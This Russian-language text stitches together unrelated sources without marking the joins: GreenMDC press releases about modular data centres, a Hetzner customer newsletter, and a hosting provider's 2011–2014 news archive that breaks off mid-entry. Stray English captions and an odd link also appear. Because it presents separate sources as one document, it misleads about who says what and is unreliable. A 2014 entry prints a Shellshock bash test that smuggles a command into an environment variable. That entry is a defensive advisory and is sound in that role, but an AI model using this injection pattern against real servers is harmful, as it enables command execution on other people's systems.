GreenMDC, разработчик и производитель модульных центров обработки данных, в 3 раза увеличил производственные мощности. Промышленная площадка компании выросла до 4,5 тыс. кв. м. Это позволит не только сократить сроки изготовления дата-центров, но и выпускать несколько крупных масштабируемых моделей одновременно.

Производство МЦОДов GreenMDC находится в посёлке Фёдоровское (Тосненский район Ленинградской области). Увеличить его мощность удалось за счет аренды дополнительных площадей. Изначально эта локация была выбрана с учетом масштабирования производства при необходимости. Это крупный производственный кластер с транспортной доступностью, понятной логистикой и большим количеством доступных для аренды цехов, что позволит и в дальнейшем увеличивать производственные мощности в короткие сроки.

Здесь организован полный цикл производства префаб-ЦОДов GreenMDC: изготовление конструктива, монтаж и тестирование инженерных систем. Благодаря увеличению мощности компания сможет повысить скорость производства и одновременно выпускать больший объем продукции разных производственных направлений, как маленьких, так и крупных масштабируемых МЦОДов.

«Решение о расширении производственных площадей отвечает тенденциям современного рынка дата-центров. Растет как количество ЦОДов (и капитальных и модульных), так и число стойко-мест в них. Это вызвано постоянно увеличивающимся объемом информации, нуждающейся в обработке. По нашим данным, за прошлый год рынок вырос более чем в 1,5 раза, с 2,25 до 3,5 млрд руб. Некоторые эксперты прогнозируют к 2030 году достижение показателя в 4,3 млрд руб. Мы готовы к такому развитию событий и стараемся удовлетворить все запросы наших клиентов. С новой производственной площадкой мы сможем делать это значительно быстрее, но также качественно, как всегда», – отметил генеральный директор GreenMDC Федор Клименко.

Кроме того, GreenMDC открыла коммерческий офис в Москве. Необходимость нового офиса вызвана наибольшим количеством заказов и инсталляций компании в этом регионе. Пока, несмотря на активную цифровизацию в регионах, около 80% всех дата-центров сосредоточено в Москве и Подмосковье.

02.10.2025
GreenMDC пригласила гостей в «СМАРТ ЦОД Липецк»
В конце сентября состоялся бизнес-тур в «СМАРТ ЦОД Липецк», расположенный в особой экономической зоне «Липецк». Мероприятие организовал российский производитель префаб-ЦОДов GreenMDC, спонсорами выступили компании «Абсолютные технологии», НПО ПАС и OCS.

Главным событием бизнес-тура стало посещение модульного дата-центра «СМАРТ ЦОД Липецк», реализованного компаниями DataDome и GreenMDC. Он стал первой в России инсталляцией масштабируемой модели GreenMDC ScalableMDC TelecomOutdoor NG и был построен на открытой площадке, в «чистом поле», всего за 7 месяцев. Кроме того, это первый в нашей стране МЦОД, сделанный полностью по префаб-технологии, рассчитанный на постоянное пребывание персонала, с полноценной административно-хозяйственной зоной. Он рассчитан на установку 64 шкафов общей мощностью 300 кВт и оснащен всеми необходимыми инженерными системами для надежной и безотказной работы.

Также в Липецке прошел практический семинар, на котором Федор Клименко, генеральный директор GreeMDC, поделился новинками рынка префабов, а Тимур Нугманов, генеральный директор «Цифрового острова», рассказал о том, как развернуть ЦОД без капитальных затрат за 30 дней. Доклад «Модульные ЦОД и модульные ИБП: как строятся отказоустойчивые системы будущего» представил Андрей Сидоров, коммерческий директор компании «Абсолютные технологии». О проектировании газового пожаротушения с применением оборудования НПО ПАС рассказал Игорь Самойлов, инженер-проектировщик этой компании.

Для участников бизнес-тура организовали насыщенную развлекательную программу. Гости GreenMDC приняли участие в познавательной экскурсии по городу и попробовали знаменитую липецкую минеральную воду, узнали, как появился и развивался город. Путешествие прошло в дружеской и веселой атмосфере. Развлекательная программа началась уже в автобусе по пути в Липецк, и время в дороге пролетело незаметно. В завершение состоялось вечернее мероприятие, где неформальное общение продолжилось.

01.10.2025
С днем работника отрасли ЦОД

Дорогие коллеги, с праздником!
Приятно быть частью единой команды, двигающей цифровую трансформацию вперёд.
От замысла — к самой дерзкой высокой мечте, вместе мы воплощаем амбициозные идеи в реальность.
Пусть ваши ЦОДы будут надёжны, проекты — успешны, а бизнес — устойчив и прибылен.
Благополучия вам, новых идей и уверенности в завтрашнем дне!

20.08.2025
GreenMDC приняла участие в International Night Telecom Forum
Компания GreenMDC стала участником International Night Telecom Forum, который прошел в Санкт-Петербурге с 24 по 28 июня 2025. Это единственный ночной международный форум в сфере информационно-коммуникационных технологий. На мероприятии собирается более 800 представителей ведущих компаний отрасли.

В деловой программе форума принял участие генеральный директор GreenMDC Федор Клименко. Он выступил на панельной дискуссии «Эффективность инфраструктуры для операторов ЦОД и телеком-операторов», в ходе которой обсудили вопросы создания, поддержки и обслуживания современных центров обработки данных, а также преимущества модульных решений.

Посетители стенда GreenMDC могли познакомиться с проектами компании, а также поучаствовать в виртуальных турах по модульным центрам обработки данных, созданным GreenMDC, и подробно узнать о ее новых решениях и разработках.

International Night Telecom Forum собирает профессионалов телеком-индустрии, международных специалистов, представителей компаний по созданию ЦОД, экспертов по физической и информационной безопасности. Здесь проходят академические сессии и круглые столы, на которых обсуждаются актуальные тренды в сферы информационно-коммуникационных технологий. Развлекательная программа позволяет участникам мероприятия пообщаться в неформальной обстановке.

26.05.2025
Читайте колонку Федора Клименко о рынке, стоимости и перспективах МЦОДов – на РБК!
На портале РБК.Pro вышла колонка генерального директора GreenMDC Федора Клименко «Спрос на мини-ЦОДы растет. Каких игроков рынка они потеснят первым делом».
О ситуации на рынке модульных дата-центров, перспективах его развития, стоимости этих решений, а также плюсах и минусах prefab’ов читайте на РБК pro.rbc.ru/demo/681990689a79476b32533b28

22.05.2025
Федор Клименко рассказал об экономике модульных ЦОДов на форуме Data Center Design & Engineering
О том, как модульные ЦОДы помогают сократить капитальные затраты и ускорить возврат инвестиций, рассказал профессиональной аудитории генеральный директор GreenMDС Федор Клименко на ежегодном форуме Data Center Design & Engineering. Мероприятие состоялось 20 мая в Москве и собрало ведущие компании отрасли.

Форум традиционно был посвящен вопросам проектирования и строительства ЦОДов и повышению эффективности этих процессов за счет экспертизы игроков рынка и наличия современных и надежных инженерных систем. Участники дискуссии обсудили важнейшие изменения рынка, включая состав поставщиков решений и новые продукты, а также сохранение темпов роста отрасли и увеличение размеров и количества ЦОДов в России.

Федор Клименко выступил с докладом «Экономика модульных ЦОДов: окупаемость и модели финансирования», в котором продемонстрировал реальную финансовую модель создания МЦОДа. Она наглядно показывает, что использование prefab-ЦОДов позволяет экономить на времени экспертов более 15 млн руб., на скорости запуска – более 80 млн руб., а за счет возможности масштабирования – до 30% от стоимости ЦОДа на старте.

Организатором форума Data Center Design & Engineering выступает холдинг «ИКС-Медиа». Здесь для обмена опытом и поддержания бизнес-контактов собираются представители ведущих компаний отрасли и вертикальных рынков: промышленности, телекома, ритейла, нефтегаза, а также государственного и финансового секторов.

Представляем вашему вниманию ежемесячный обзор интересных новостей и полезных советов от Hetzner! Приятного чтения!

БОЛЬШЕ ИИ: НОВЫЙ СЕРВЕР НА ГПУ GEX131 УСТАНАВЛИВАЕТ СТАНДАРТЫ ПРОИЗВОДИТЕЛЬНОСТИ И ЦЕНЫ
Если вы хотите вывести свои задачи в области искусственного интеллекта, 3D-рендеринга или сложной обработки изображений на новый уровень, вам необходимы два важных инструмента: мощная видеокарта и производительный процессор. Компания Hetzner объединила оба этих компонента в своем новом сервере GPU GEX131. Он оснащен видеокартой NVIDIA RTX PRO 6000 Blackwell Max-Q с 96 ГБ видеопамяти GDDR7 ECC и 24-ядерным процессором Intel Xeon Gold 5412U. Это идеальное сочетание производительности и эффективности.

Видеокарта NVIDIA RTX PRO 6000 Blackwell Max-Q обеспечивает исключительную вычислительную мощность для ИИ и современную производительность в области графики. Благодаря 96 ГБ сверхбыстрой памяти GDDR7, тензорным ядрам 5-го поколения и ядрам RT 4-го поколения она ускоряет весь спектр возможностей вычислений в области ИИ и творческих задач.

Процессор Intel Xeon Gold 5412U — это жемчужина поколения «Sapphire Rapids» с технологией Hyper-Threading. Его 24 ядра и 48 потоков работают параллельно, эффективно справляясь со сложными задачами. Он поддерживает память DDR5 ECC и технологию виртуализации Intel, что обеспечивает максимальную стабильность и гибкость.

Стандартная конфигурация GEX131 включает 2 твердотельных накопителя NVMe Gen4 Datacenter Edition по 960 ГБ каждый, а также 256 ГБ оперативной памяти DDR5. Хотите больше? Вы можете настроить дополнительное хранилище и память в соответствии со своими потребностями. Вместе с IPv4-адресом GEX131 предлагается по цене от 889,00 евро / 989,00 долларов США в месяц (или 1,4247 евро / 1,5850 долларов США в час). А поскольку вам может потребоваться развертывание серверов на базе графических процессоров на короткие промежутки времени, например, всего на несколько часов или дней, вы можете заказать этот сервер без платы за настройку.

Закажите сегодня и возьмите управление в свои руки. Вы освоите целый ряд ресурсоемких задач: обучение моделей ИИ, редактирование изображений и видео, 3D-рендеринг и обработку данных. Ваши данные будут в безопасности в одном из наших собственных центров обработки данных, соответствующих требованиям GDPR и сертифицированных по стандарту ISO 27001.

www.hetzner.com/dedicated-rootserver/gex131/

PHP 8.5 для веб-хостинга и управляемых серверов
Недавно мы добавили PHP 8.5 в konsoleH для веб-хостинга и управляемых серверов, и, как обычно, будем поддерживать эту версию для дальнейшего использования. Это обеспечит пользователям заметно улучшенную производительность, гибкость и безопасность.
Команда разработчиков PHP значительно улучшила качество кода в этом крупном обновлении. Код в PHP 8.5 стал более читабельным и обладает большей типобезопасностью. Разработчики PHP оптимизировали существующие функции и расширили синтаксис кода. Среди прочего, были улучшены замыкания, операторы конвейера и клонирование. Кроме того, редактирование URL-адресов стало более стандартизированным.
Кроме того, теперь доступны интересные расширения, такие как расширение для профилирования XHProf.
Laptop with the text PHP on the display
XHProf — это стандарт, используемый для создания трассировок профилирования на работающих серверах. Он был первоначально разработан компанией Facebook и особенно хорошо подходит для производственных сред.
Используя этот новый крупный релиз, вы можете сделать свои системы более надежными и перспективными.
Здесь вы можете посмотреть все доступные версии PHP.
www.testen.de

Автоматизированное управление складскими ящиками с помощью Terraform, CLI и других инструментов.
Недавно у клиентов Storage Box появилась возможность управлять своими хранилищами непосредственно в консоли Hetzner, а также через интерфейс командной строки и интеграцию с Go.

Теперь также появилась возможность автоматизировать создание и управление Storage Boxes с помощью Terraform Provider v1.57.0

Теперь также доступна поддержка интеграции с Python и Ansible Collection

Если вы являетесь пользователем Storage Box и хотите автоматизировать больше административных задач, теперь у вас есть гораздо больше возможностей.

Person standing at a desk in front of two screens
Дополнительную информацию о доступных интеграциях можно найти здесь
www.hetzner.com/storage/storage-box/

Учебное пособие: развертывание фотогалереи Pigallery2 в облаке Hetzner.
В этом пошаговом руководстве вы узнаете, как настроить и использовать фотогалерею PiGallery 2 на сервере Hetzner Cloud.

PiGallery 2 — это сверхбыстрое приложение для создания фотогалерей, разработанное на основе принципа «сначала каталоги». Оно оптимизировано для работы на серверах с ограниченными ресурсами, например, на Raspberry Pi. Даже на самых маленьких и дешевых серверах Hetzner Cloud, таких как CX23, Pi Gallery 2 работает молниеносно.
community.hetzner.com/tutorials/deploy-pigallery2-photo-gallery


ЖЕЛАЕМ ВАМ СЧАСТЛИВЫХ ПРАЗДНИКОВ!
Год подходит к концу, предоставляя нам возможность на мгновение остановиться и оглянуться на прошлое. Мы хотели бы выразить нашу искреннюю благодарность за приятное и доверительное сотрудничество в этом году.

Вся команда Hetzner желает вам спокойных и мирных праздников. Вместе со всеми вашими успехами и целями мы желаем вам, прежде всего, крепкого здоровья. Надеемся, у вас будет возможность отпраздновать это событие с друзьями, семьей и другими близкими людьми.

21-12-2014 Время ответа технической поддержки
Уважаемые клиенты!
В связи с постоянными перебоями электроэнергии и интернета в Севастополе время ответа на запросы может составлять до нескольких часов. Спасибо за понимание.

17-11-2014 Нам 4 года!
Уважаемые будущие и настоящие клиенты!
Спешим поделиться с вами этой радостной новостью: нашей компании сегодня исполняется 4 года!
Немного о наших успехах:
1. Нами была запущена новая площадка аренды услуг в Нидерландах. Наше оборудование стало еще надежнее, качественнее и быстрее;
2. Мы приобрели собственную сеть IP-адресов;
3. Наш сайт стал еще современнее и удобнее.
Эти и другие изменения увеличили количество довольных клиентов и повысили престиж нашей компании.
А теперь о приятном. Сегодня мы объявляем скидку 30% на первый платеж при заказе виртуального хостинга и/или VPS. Для его активации используйте промокод 4YEAR. Акция действительна до 17.12.2014 г.
Оставайтесь с нами!

16-11-2014 Изменение стоимости услуг в российских рублях
В связи с нестабильным курсом российского рубля, начиная с 17 ноября 2014 года вновь выставленные счета на активные заказы, сделанные в этой валюте будут пересчитываться по курсу на день выставления счета. Спасибо за понимание.

06-11-2014 Платежная система Интеркасса временно недоступна
Уважаемые клиенты!
По техническим причинам оплата наших счетов через ПС Интеркасса временно отсутствует. Приносим свои извинения за неудобства.

24-10-2014 Новый установщик веб-приложений для услуги виртуального хостинга
Нами были заменен автоматический установщик веб-приложений, CMS на Softaculous. Данный плагин поддерживает большее количество приложений и имеет русскоязычный интерфейс без орфографических ошибок. Для перехода в плагин используйте ссылку Softaculous Auto Installer в панели Directadmin

08-10-2014 Уязвимость интерпретатора bash
24 сентября была обнаружена критическая уязвимость интерпретатора команд. Мы рекомендуем клиентам с VPS/VDS услугами проверить свой сервер на наличие данной уязвимости и обновить пакет bash.
Как проверить?
Запустите в SSH/VNC консоли следующую команду:
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
В случае найденной уязвимости будет выдано
Bash is vulnerable! Bash Test
Как обновить?
Запустите в SSH/VNC консоли:
Для ОС Centos/RHEL:
yum -y update bashДля ОС Debian/Ubuntu:
sudo apt-get update && sudo apt-get install --only-upgrade bash
15-08-2014 Работайте без перезагрузок
С сегодняшнего дня для всех тарифов KVM виртуализации и выделенных серверов возможна установка Kernel Care. Данный продукт позволяет обновлять ядра ОС linux без перезагрузок сервера. Подробное описание продукта на сайте разработчика. Поддерживаемые ОС: CentOS 5 & 6, RHEL 5 & 6, CloudLinux 6, Debian, Ubuntu.
Заказать данную услугу можно в дополнениях к основному заказу. Активация в течение рабочего дня.
На всех наших управляющих серверах ВПС и виртуального хостинга данный продукт уже установлен.

12-08-2014 Акция! Скидка 25% на первый платеж при заказе VPS с администрированием
Закажите у нас виртуальный сервер с полным администрированием и получите скидку в 25% на первый платеж. Промокод summer2014
Акция действует до 30-09-2014

01-08-2014 Мы в отпуске
Уважаемые клиенты!
С 5 по 25 августа мы находимся в отпуске. В следствие чего время ответа на запросы может быть увеличено. Спасибо за понимание.

28-07-2014 Критическая уязвимость панели ISP Manager Lite
Уважаемые клиенты!
Сообщаем, что ISP Manager Lite, выпущенный до 23 июля 2014 года, содержит критическую уязвимость.
Мы крайне рекомендуем обновиться до последней версии 4.4.10.23. Панель можно обновить из меню Справка — Обновления, нажав кнопку Обновить
Список продуктов, содержащих обнаруженную недавно уязвимость:
— ISPmanager до версии 4.4.10.23
— BILLmanager до версии 4.0.77.24
— VDSmanager до версии 4.3.38
— DSmanager до версии 4.4.17.5
— DNSmanager до версии 4.3.21.6
— IPmanager до версии 4.3.19.2

25-07-2014 Обновленные правила размещения
С обновленной версией вы можете ознакомиться на данной странице

15-07-2014 Обновление шаблонов и образов для KVM
Добавлены следующие шаблоны:
Ubuntu 14.04 Server i386/amd64
Debian 7.6.0 i386/amd64
Образы ISO:
Ubuntu 14.04 Server i386/amd64
Debian 7.6.0 i386/amd64
FreeBSD 9.2 i386/amd64

08-07-2014 Поддержка Centos 7
Добавлена поддержка шаблонов Centos 7 x64 для OpenVZ/KVM виртуализаций.

07-07-2014 Акция! Распродажа дополнительной памяти для VPS серверов
В период с 07 июля по 07 августа всем заказавшим 1Gb дополнительной памяти устанавливается пожизненная оплата 5$/месяц
Данная стоимость применима только к новым заказам дополнения.

03-07-2014 Отмена СМС верификации для заказа виртуального хостинга
С сегодняшнего дня мы отменили проверку телефонного номера клиента для заказа услуги виртуального хостинга.

21-06-2014 Подключение SSL для Directadmin
Уважаемые клиенты!
Панель Directadmin на серверах виртуального хостинга теперь использует SSL соединение для работы. Работать с нами стало еще безопаснее.

11-05-2014 Оплата на р/с в банке
С сегодняшнего дня добавлена возможность оплаты за наши услуги путем перевода средств на р/с в банке, с реквизитами вы можете ознакомиться тут

06-04-2014 Изменения в правилах размещения контента
С новой версией правил вы можете ознакомиться на данной странице

29-03-2014 Время работы технической поддержки
Уважаемые клиенты!
В связи c изменением часового пояса в Крыму, начиная с 30 марта 2014 г. техническая поддержка будет осуществляться с 9 до 22 UTC+4 (Московское время)

29-03-2014 Поддержка панели ISP Manager Lite
Добавлена поддержка панели ISP Manager Lite 4 при заказе администрируемого KVM VPS сервера.

03-02-2014 Короткое имя домена
Мы переехали на более короткое имя, встречайте — agho.st. NS серверы для доменов и доступы в панели управления остаются прежние.

19-11-2013 Изменения в тарифных планах хостинга
Нами были пересмотрены тарифные планы и квота на трафик была увеличена в несколько раз. Оставайтесь с нами!

18-11-2013 Итоги конкурса
Итак, начнем понедельник с хороших новостей. Как вы все помните, 17 ноября мы отмечали день рождения нашей компании, в связи с чем был объявлен розыгрыш призов. Честно говоря, мы не ожидали такого всплеска платежей да и просто поздравлений по электронной почте! Спасибо всем тем кто принимал участие! Мы это ценим! Все победители уже получили от нас уведомления и естественно деньги на счет.
Еще раз всем спасибо за участие! Следите за нашими новостями, ведь праздников впереди еще очень много!

14-11-2013 Нам исполняется 3 года
Внимание! Акция! Только у нас и только 17 ноября!
17 ноября нашей компании исполняется 3 года! В связи с этим приятным небольшим юбилеем мы раздаем подарки всем нашим клиентам!
Условия акции*: Просто пополните баланс на любую сумму и участвуйте в розыгрыше призов. Если вы не являетесь нашим клиентом, не беда. Вы можете заказать необходимую вам услугу, оплатить ее и участвовать в розыгрыше призов на общем основании.
Наш призовой фонд:
1 место – мы дарим вам 100% от пополненной суммы и добавляем их на баланс.
2 место — мы дарим вам 50% от пополненной суммы и добавляем их на баланс.
3 место — мы дарим вам 25% от пополненной суммы и добавляем их на баланс.
Для всех остальных, участвовавших в нашей акции, мы дарим 10% скидку на следующий платеж.
*Примечание:
• Акционное предложение действительно 17.11.2013 года;
• Розыгрыш призов и обнародование результатов происходит 18.11.2013 года;
• Добавленные на баланс деньги могут быть использованы в любое время только для оплаты счетов. В случае отказа от услуги деньги, полученные в акции, из системы не выводятся.

10-11-2013 Снижение стоимости дополнительной памяти для VPS серверов
С сегодняшнего дня установлена стоимость дополнительной памяти для VPS серверов из расчета 1Гб — 10$
Оставайтесь с нами.

10-11-2013 Переход на собственную сеть
Мы перевели всех клиентов виртуальных серверов на собственную сеть 93.171.132.0/23. Так же, клиенты с VPS серверами на OpenVZ виртуализации были перенесены на мощный сервер под управлением Dual Intel Xeon E5-2620. Что же изменилось после переноса?
Время отлика сети из стран СНГ стало меньше, пропали провалы пакетов.
Клиенты виртуальных серверов с данными адресами могут прописать PTR самостоятельно из панели управления сервером — vds.aghost.biz
Стало возможным предоставлять дополнительно любое кол-во IP адресов по запросу. Стоимость 1-го адреса 3$ в месяц, при заказе от 20 адресов — 2$ за один адрес.

09-11-2013 Увеличение скорости порта для KVM серверов
Скорость порта увеличена до 50Мбит/сек.

04-11-2013 VPS серверы с администрированием
Работать с нами стало еще приятней. С сегодняшнего дня вы можете заказать у нас виртуальный сервер с полным администрированием. Что же включено в данную услугу?
Панель управления Directadmin — вы получаете доступ к своей учетной записи на сервере для размещения своих сайтов, все остальную работу мы сделаем за вас.
Мы поддерживаем только работу панели и входящих в нее компонентов, стороннее ПО на сервер не устанавливается, root доступ не предоставляется.
Заказать данную услугу можно на нашем сайте

22-10-2013 Обновление шаблонов ОС
Мы произвели обновление шаблонов операционных систем. Добавлены новые шаблоны — OpenVZ:
Gentoo (сборка октябрь 2013)
Fedora Core 18
Suse 12.3
KVM:
Gentoo (сборка октябрь 2013)
Ubuntu Server 13.10
Часть шаблонов для openvz обновлена до последних версий ПО из стандартных репозиториев.

15-10-2013 Скачивание резервной копии виртуального хостинга из панели управления
Теперь для всех клиентов виртуального хостинга стало возможно скачивание резервной копии учетной записи, даже если она заблокирована по какой-либо причине.
Как это сделать, мы написали в нашей базе знаний

10-10-2013 Реорганизация VPS серверов на базе OpenVZ
Хотим поделиться приятной новостью. Мы провели полную реорганизацию предоставления услуги аренды VPS серверов на базе виртуализации OpenVZ.
Все оборудование в Германии было заменено на новые серверы с процессором Intel i7-4770 с хранением данных на RAID 10 разделе.
Мы запустили новую площадку аренды данных серверов в Нидерландах на сверхбыстрых серверах Intel Xeon E5-2620 с использованием SAS дисков.
Оставайтесь с нами!

20-09-2013 Увеличение скорости порта для OpenVZ серверов
С сегодняшнего дня скорость порта увеличена до 50МБит/сек для всех VPS серверов на базе виртуализации OpenVZ.

10-09-2013 Акция: Золотая осень
Закажите у нас любой VPS сервер и получите дополнительную скидку в 20% на первый платеж. Промокод: fall2013
Акция действительна до 30 сентября.

27-08-2013 Увеличение лимита трафика для OpenVZ
С сегодняшнего дня на всех тарифных планах и все текущих VPS серверах лимит трафика увеличен до 2ТБ.
Оставайтесь с нами.

05-08-2013 Атака ботнета на сайты под управлением WordPress, Joomla
2 августа злоумышленниками была запущена новая волна ботов, атакующих сайты под управлением wordpress, joomla. Если у Вас при открытии сайта возникает ошибка 50х, то это означает, что Ваша учетная запись достигла лимитов тарифного плана. В данный момент нами заблокировано более 10000 IP адресов ботов и мы продолжаем борьбу.
Ботнет повержен, мы используем другой алгоритм фильтрации ботов, чем блокировку IP адресов. Нагрузка на всех наших серверах восстановлена до значений перед атакой.
Мы рекомендуем установить и настроить следующий плагин для wordpress, joomla

31-07-2013 Мы в отпуске! :)
Уважаемые клиенты! С 2.08.2013 по 4.08.2013 поддержка клиентов будет осуществляться в ограниченном режиме. Спасибо за понимание.

19-07-2013 Изменения в договор-оферте
Уважаемые клиенты.
С 19.07.2013 вступил в действие новый договор-оферта на предоставление услуг. В частности, был полностью переписан пункт 3.2 Порядок возврата средств. С новой редакцией договора можно ознакомиться тут

09-07-2013 Верификация заказов
Ввиду новой волны заказов, которые осуществляют боты для организации ботнетов и распространения вирусного ПО мы вынуждены отключить автоматическое создание ВПС серверов для новых заказов. Данные заказы будут проходить премодерацию и в случае возниковения подозрительной активности (алгоритм проверки раскрыт не будет) мы в праве затребовать подтверждение Вашей личности.

18-06-2013 Оплата услуг через WMU кошельки
Уважаемые клиенты!
По известным причинам оплата через WMU кошелек системы Webmoney недоступна. Приносим свои извинения за неудобства.

02-06-2013 Самостоятельное переключение версии PHP
Уважаемые клиенты виртуального хостинга!
С сегодняшнего дня доступен самостоятельный выбор версии php для аккаунта. Подробная инструкция написана в нашей базе знаний
Для удобства мы убрали из названий тарифного плана приставку PHP52- и PHP53-

26-05-2013 Взлом VPS серверов
Уважаемые клиенты!
В последнее время участились случаи взлома VPS серверов для организации DoS атак. Убедительная просьба не устанавливать простой пароль на пользователя root.
В противном случае мы будем вынуждены удалить ваш заказ без возврата средств и данных.

07-05-2013 Debian 7 уже в сети!
С сегодняшнего дня нами поддерживается последняя версия Debian на всех типах виртуализации. В честь данного события мы дарим скидку в 20% на первый платеж для новых заказов VPS серверов. Промокод: DEBIAN7
Акция действительна до 31 мая 2013 г.

19-04-2013 KVM сервера в Нидерландах
Доступны к заказу ВПС серверы в Нидерландах
Параметры ноды: SuperMicro Dual Intel® Xeon® CPU E5-2620, 32 GB DDR3 ECC RAM, 4x2TB SATA Hardware RAID 10
С тарифными планами и остальными параметрами Вы сможете ознакомиться здесь

25-03-2013 Новая площадка в Нидерландах
Уважаемые клиенты!
Рады представить вам качественный виртуальный хостинг на новой площадке в Нидерландах.
С подробным описанием и тарифами вы сможете ознакомиться здесь
Так же напоминаем, что теперь доступны к заказу выделенные серверы, подробнее написано тут

13-03-2013 Новые шаблоны для OpenVZ
Нами добавлены шаблоны с настроенной панелью ISP Manager Lite. Поддерживаемые ОС:
Centos 6.4 x86/x86_64
Debian 6.0.7 x86/x86_64
Переустановить ОС Вы можете из нашей панели управления vds.aghost.biz. Так же необходимо, что бы на текущий IP адрес была активна лицензия на панель.

03-03-2013 Изменения в шаблонах ОС для OpenVZ
Добавлены:
Fedora Core 17
Удалены, как устаревшие и больше не поддерживаются:
Debian 5
Fedora Core 15
Ubuntu 10.10

28-01-2013 Увеличение дисковой квоты для тарифа Small AGHost
Мы увеличили дисковую квоту до 512Мб. Изменения повлияли на все существующие учетные записи. Оставайтесь с нами!

28-12-2012 С наступающим Новым Годом!
Уважаемые клиенты!
В преддверии Нового 2013 года хотим поздравить вас с наступающими праздниками, желаем творческих успехов, еще больше красивых качественных проектов и, конечно же, дальнейшего взаимовыгодного сотрудничества. Так же хотим довести до вашего сведения, что в период с 28 декабря 2012 года по 03 января 2013 года включительно, служба нашей технической поддержки переходит в облегченный режим работы.

03-12-2012 Начните зарабатывать вместе с нами!
Мы выплачиваем 10% ежемесячно от суммы заказа приведенного клиента. Минимальная сумма вывода 5$. Для начала сотрудничества подключите партнерскую программу в меню Партнерство

01-12-2012 Добавлена поддержка FreeBSD для KVM VPS
Добавлена поддержка FreeBSD 9 для KVM VPS. Данная ОС доступна при заказе и доступна в обеих версиях i386/amd64

26-11-2012 Исчерпание IPv4-адресов
В связи с исчерпанием IPv4 адресов, мы вынуждены поднять цену аренды до 3$ в месяц.

02-08-2012 VPS сервера под управлением KVM
Мы выбираем KVM виртуализацию. Заказать можно уже сейчас!

19-07-2012 Управление DNS
Уважаемые клиенты!
Теперь вы можете абсолютно бесплатно использовать наши NS сервера и управлять своими доменами самостоятельно из панели управления аккаунтом. Это Для управления воспользуйтесь ссылкой Управление DNS в меню Домены. Перед тем, как добавить свой домен к нам на обслуживание, необходимо у регистратора домена установить следующие NS сервера:
ns1.aghost.biz
ns2.aghost.biz
ns3.aghost.biz

01-07-2012 Мы выбираем CloudLinux
Мы завершили перенос всех хостинговых площадок на платформу CloudLinux.

29-06-2012 Перенос хостинга на новую платформу управления
Уважаемые клиенты!
Мы закончили тестирование CloudLinux и хотим сообщить Вам, что данная система показала себя положительно, как по скорости работы, так и стабильности. Поэтому мы решили перенести все аккаунты хостинга на данную платформу. Перенос начнется завтра 30 июня в 20:00 МСК. Перенос завершен.
Если Вы используете не наши NS сервера (ns1.aghost.biz/ns2.aghost.biz), то после переноса Вам необходимо сменить IP у всех доменов на хостинге на:
для клиентов с php 5.2 — 5.9.39.229
для клиентов с php 5.3 — 188.40.88.100
Это очень важно, т.к. старые адреса будут удалены 15 июля 2012г.
Для тех, кто использует дополнительные (уникальные IP, приобретенные у нас) адреса они будут изменены на другую подсеть, доступную на новом сервере.
Так же, мы убрали поддержку кастомных php.ini файлов. Теперь все аккаунты пользователей работают в рамках лимитов, т.е. если кто-то попал под DDoS атаку все остальные сайты на хостинге продолжают работу. Остальные параметры хостинга остались без изменений. Лимиты будут отрегулированы в соответствии с проверкой скорости открытия сайтов после переноса.
Если у Вас возникли вопросы, создайте запрос в службу поддержки нашей компании.

26-06-2012 Тест новой ОС для хостинг-систем CloudLinux
Мы начали тестирование новой ОС для работы хостинговой площадки CloudLinux. Данная система имеет функцию Lightweight Virtual Environment, которая позволяет ограничивать ресурсы системы для определенного пользователя. Скажем, внезапная DDoS атака на один из клиентских сайтов никак не будет влиять на работу других сайтов. После завершения тестов мы начнем перенос всех клиентов выделенного хостинга на новый сервер. Об этом будет проинформировано почтовой рассылкой за несколько дней до переноса.

16-06-2012 Мы в социальных сетях
Официальные страницы нашей компании с соц. сетях
Facebook: www.facebook.com/AGHost.Biz
Twitter: twitter.com/#AGHost_Hosting
Присоединяйтесь к нам.

13-06-2012 Технические работы 15 июня с 20:00 до 01:00 МСК
Уважаемые клиенты!
В связи с проводимыми работами на сетевом оборудовании 15 июня в период с 20:00 до 00:00 МСК возможны обрывы в работе предоставляемых услуг. Приносим свои извинения за доставленные неудобства.

08-06-2012 Пополнение баланса
Теперь Вы можете пополнить баланс своего аккаунта из меню Биллинг — Пополнить баланс.

04-05-2012 Новые шаблоны OS для VPS серверов
С сегодняшнего дня доступны новые шаблоны операционных систем для клиентов с VPS серверами:
Fedore Core 16
Suse 12.1
Ubuntu 11.10
Scientific Linux 6
Все шаблоны доступны в обеих версиях x86/x64. Так же были обновлены все остальные шаблоны до последних версий.
Оставайтесь с нами!

22-02-2012 Изменение стоимости аренды IPv4 адресов
Из-за того, что наш датацентр повысил стоимость аренды адресов мы вынуждены поднять цену до 2$/месяц. Новая стоимость будет учитываться со следующего расчетного периода у клиента.
IPv6 адресов это не касается, на них цена остается прежней.

24-11-2011 Мы в Twitter
twitter.com/AGHost_Hosting
Добро пожаловать, присоединяйтесь к нам

17-11-2011 С днем рождения AGHost
Сегодня нашей компании исполнился 1 год. В честь такого события мы предлагаем скидку на первый платеж для всех тарифных планов в 20%. Промо код: aghost1year

01-11-2011 Тестовый период
Мы предоставляем бесплатный тестовый период на все тарифные планы до 7 суток. После оформления заказа, сообщите нам через тикетную систему. Данные будут высланы немедленно.

29-10-2011 Качество наших услуг
Уважаемые клиенты!
Просим оценить качество наших услуг
Хостинг — hosting101.ru/aghost.biz-1
VPS сервера — hosting101.ru/aghost.biz-0
Большое спасибо

18-10-2011 Пользовательские настройки php
С сегодняшнего дня для всех тарифных планов хостинга стали доступны отдельные настройки php. Для их изменения необходимо отредактировать файл php.ini, расположенный в папке ./domains/имя_домена/. Данные настройки будут применимы только к домену и к всем его субдоменам.
Оставайтесь с нами.

22-09-2011 Больше доменных имен и меньше стоимости регистрации
Мы пополнили список возможных TLD и существенно уменьшили цены. Подробнее aghost.biz/domains/

20-09-2011 Изменения в тарифных планах VPS серверов
Мы изменили тарифные планы для всех VPS серверов. Теперь мы не ограничиваем частоту процессора. Для тарифов AGHost Quarter, AGHost Half и AGHost Full Вы получаете 1 ядро, частотой 2.8-3ГГц. Для тарифа AGHost Double 2 ядра, а для AGHost Triple 3 ядра соответственно. Оставайтесь с нами.

14-09-2011 Новые ОС при заказе VPS
С сегодняшнего дня доступны новые ОС при заказе VPS – Ubuntu 11.04, CentOS 6, Fedora Core 15, Suse 11.4. Все они доступны в 2х версиях x86 и amd64

12-09-2011 IPv6 адреса
